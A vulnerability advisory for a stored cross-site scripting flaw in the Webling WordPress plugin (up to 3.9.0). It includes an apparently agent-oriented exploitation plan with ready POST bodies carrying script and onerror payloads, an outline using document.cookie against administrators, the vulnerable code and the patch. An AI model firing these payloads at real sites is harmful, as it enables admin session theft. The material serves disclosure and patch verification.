Webling <= 3.9.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'title' Parameter
Description
The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 3.9.0 due to insufficient input sanitization, insufficient output escaping, and missing capabilities checks in the 'webling_admin_save_form' and 'webling_admin_save_memberlist' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject Webling forms and memberlists with arbitrary web scripts that will execute whenever an administrator views the related form or memberlist area of the WordPress admin.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.9.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1263 - Webling Stored XSS ## 1. Vulnerability Summary The Webling plugin for WordPress (<= 3.9.0) contains a stored cross-site scripting (XSS) vulnerability due to improper input sanitization and missing authorization checks in its administrative save function…
Show full research plan
Exploitation Research Plan: CVE-2026-1263 - Webling Stored XSS
1. Vulnerability Summary
The Webling plugin for WordPress (<= 3.9.0) contains a stored cross-site scripting (XSS) vulnerability due to improper input sanitization and missing authorization checks in its administrative save functions. Specifically, the functions webling_admin_save_form and webling_admin_save_memberlist do not verify user capabilities or nonces, and they fail to sanitize the title parameter before saving it to the database. This allows any authenticated user (Subscriber level and above) to inject malicious scripts into the plugin's configuration, which will execute when an administrator views the Webling management pages.
2. Attack Vector Analysis
- Endpoints:
- Primary:
/wp-admin/admin-post.php(Standard WordPress handler for admin-side POST actions). - Alternative: Any page triggering
admin_initif the plugin hooks these functions there.
- Primary:
- Vulnerable Actions:
webling_save_formandwebling_save_memberlist(inferred from function nameswebling_admin_save_formandwebling_admin_save_memberlist). - Vulnerable Parameter:
title(sent via POST). - Authentication: Subscriber-level access (any logged-in user).
- Preconditions: The plugin must be active. No valid Webling API key is strictly necessary to write to the local database, although the plugin UI might be limited without one.
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
/wp-admin/admin-post.phpwith the parameteraction=webling_save_form. - Lack of Authorization: The request reaches
webling_admin_save_form(insrc/admin/actions/save_form.php). The function lacks acurrent_user_can('manage_options')check, allowing the Subscriber's request to proceed. - Lack of CSRF Protection: The function lacks a
check_admin_referer()orwp_verify_nonce()call. - Input Processing: The code executes
$_POST = stripslashes_deep($_POST);. - Database Sink: The
$titlevariable (from$_POST['title']) is passed directly into a$wpdb->preparestatement without any sanitization function likesanitize_text_field().// src/admin/actions/save_form.php $wpdb->prepare("INSERT INTO {$wpdb->prefix}webling_forms (`title`, ...) VALUES (%s, ...)", $_POST['title'], ...) - XSS Trigger: When an administrator visits the Webling plugin dashboard (
/wp-admin/admin.php?page=webling_page_main), the plugin retrieves the stored forms and echoes thetitlefield without usingesc_html().
4. Nonce Acquisition Strategy
According to the vulnerability description, the functions suffer from missing capability and nonce checks.
- Assessment: It is highly probable that no nonce is required to exploit these endpoints.
- Verification: If a nonce check is encountered during execution (e.g., a "Link Expired" or "Are you sure you want to do this?" error), the agent should look for localized variables in the plugin's admin pages.
- Localized Variables (if needed): Check
window.webling_admin_optionsor similar keys ifwp_localize_scriptis found in the main plugin files (not provided here).
5. Exploitation Strategy
Step 1: Inject Payload into Forms
Submit a POST request as a Subscriber to create a new Webling form with a malicious title.
- URL:
http://<target>/wp-admin/admin-post.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=webling_save_form&form_id=0&title=<script>alert("XSS_FORM")</script>&group_id=0¬ification_email=attacker@example.com&confirmation_text=Saved&submit_button_text=Submit&max_signups=0&class=xss-test
Step 2: Inject Payload into Memberlists
Submit a POST request as a Subscriber to create a new Webling memberlist.
- URL:
http://<target>/wp-admin/admin-post.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=webling_save_memberlist&list_id=0&title=<img src=x onerror=alert("XSS_LIST")>&design=LIST&type=ALL&sortfield=name&sortorder=ASC
Step 3: Trigger the XSS
- Navigate to the site as an Administrator.
- Go to the Webling plugin main page:
/wp-admin/admin.php?page=webling_page_main. - Observe if the
alertboxes trigger.
6. Test Data Setup
- Users: Create a Subscriber user (
user_login: subscriber,password: subscriber123). - Plugin State: Ensure the Webling plugin (slug:
webling) version <= 3.9.0 is installed and active. - Database: The tables
wp_webling_formsandwp_webling_memberlistsmust exist (created during plugin activation).
7. Expected Results
- The POST requests from the Subscriber should return a
302 Redirecttoadmin.php?page=webling_page_mainorwebling_page_memberlist_list, indicating successful insertion. - When an Admin views the Webling pages, the browser should execute the injected JavaScript.
8. Verification Steps
After performing the HTTP requests, use WP-CLI to confirm the payload is in the database:
# Check if the form with the payload exists
wp db query "SELECT title FROM wp_webling_forms WHERE title LIKE '%<script>%';"
# Check if the memberlist with the payload exists
wp db query "SELECT title FROM wp_webling_memberlists WHERE title LIKE '%alert%';"
9. Alternative Approaches
If admin-post.php does not accept the action, the plugin might be using direct admin_init logic or AJAX.
- AJAX Attempt: Send the same POST body to
/wp-admin/admin-ajax.php. - Different Actions: Try
action=webling_admin_save_form(matching the function name exactly) ifwebling_save_formfails. - Bypass ID check: If the plugin requires an existing ID, first try to find one by guessing
form_id=1. However, the codeif ($id)insave_form.phpsuggests0will trigger anINSERT.
Summary
The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to missing capability checks, nonce verification, and input sanitization in its form and memberlist saving actions. Authenticated users with Subscriber-level access or higher can inject arbitrary scripts into configuration titles, which then execute when an administrator accesses the plugin's management interface.
Vulnerable Code
// src/admin/actions/save_form.php line 3 function webling_admin_save_form() { global $wpdb; $_POST = stripslashes_deep($_POST); // sanitize id $id = intval($_POST['form_id']); if ($id) { // ... // update form $wpdb->query( $wpdb->prepare(" UPDATE {$wpdb->prefix}webling_forms SET `title` = %s, // ... WHERE id = %d", $_POST['title'], --- // src/admin/actions/save_memberlist.php line 3 function webling_admin_save_memberlist() { global $wpdb; $_POST = stripslashes_deep($_POST); // sanitize id $id = intval($_POST['list_id']); // ... if ($id) { // update list $wpdb->query( $wpdb->prepare(" UPDATE {$wpdb->prefix}webling_memberlists SET `title` = %s, // ... WHERE id = %d", $_POST['title'],
Security Fix
@@ -2,6 +2,12 @@ function webling_admin_save_form() { + if (!current_user_can('manage_options')) { + wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling')); + } + + check_admin_referer('webling_save_form'); + global $wpdb; $_POST = stripslashes_deep($_POST); @@ -9,12 +15,14 @@ // sanitize id $id = intval($_POST['form_id']); - if ($id) { + // sanitize titles + $_POST['title'] = sanitize_text_field($_POST['title']); + if ($id) { // check if form exists $existing = $wpdb->get_row("SELECT id from {$wpdb->prefix}webling_forms WHERE id = ".$id); if (!$existing) { - die('Could not update form: form does not exist: '.$id); + wp_die(esc_html__('Could not update form: form does not exist: ', 'webling') . intval($id)); } // update form @@ -2,6 +2,12 @@ function webling_admin_save_memberlist() { + if (!current_user_can('manage_options')) { + wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling')); + } + + check_admin_referer('webling_save_memberlist'); + global $wpdb; $_POST = stripslashes_deep($_POST); @@ -9,6 +15,16 @@ // sanitize id $id = intval($_POST['list_id']); + // sanitize titles + $_POST['title'] = sanitize_text_field($_POST['title']); + + // sanitize HTML fields according to capabilities + if (isset($_POST['custom_template'])) { + if (!current_user_can('unfiltered_html')) { + $_POST['custom_template'] = wp_kses_post($_POST['custom_template']); + } + } +
Exploit Outline
The exploit targets the missing authorization and CSRF checks in `admin-post.php` actions. 1. **Authentication**: Authenticate as any user with Subscriber-level privileges. 2. **Injection**: Send a POST request to `/wp-admin/admin-post.php` with the `action` parameter set to either `webling_save_form` or `webling_save_memberlist`. The payload should include a `title` parameter containing a malicious script, such as `<script>alert(document.cookie)</script>`. Because there are no nonce or capability checks, the plugin accepts the request and saves the unsanitized title to the database. 3. **Execution**: Wait for an administrator to log in and visit the Webling plugin dashboard (e.g., `/wp-admin/admin.php?page=webling_page_main`). The plugin retrieves the stored form/memberlist title and renders it to the page without proper escaping, triggering the execution of the injected script in the administrator's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.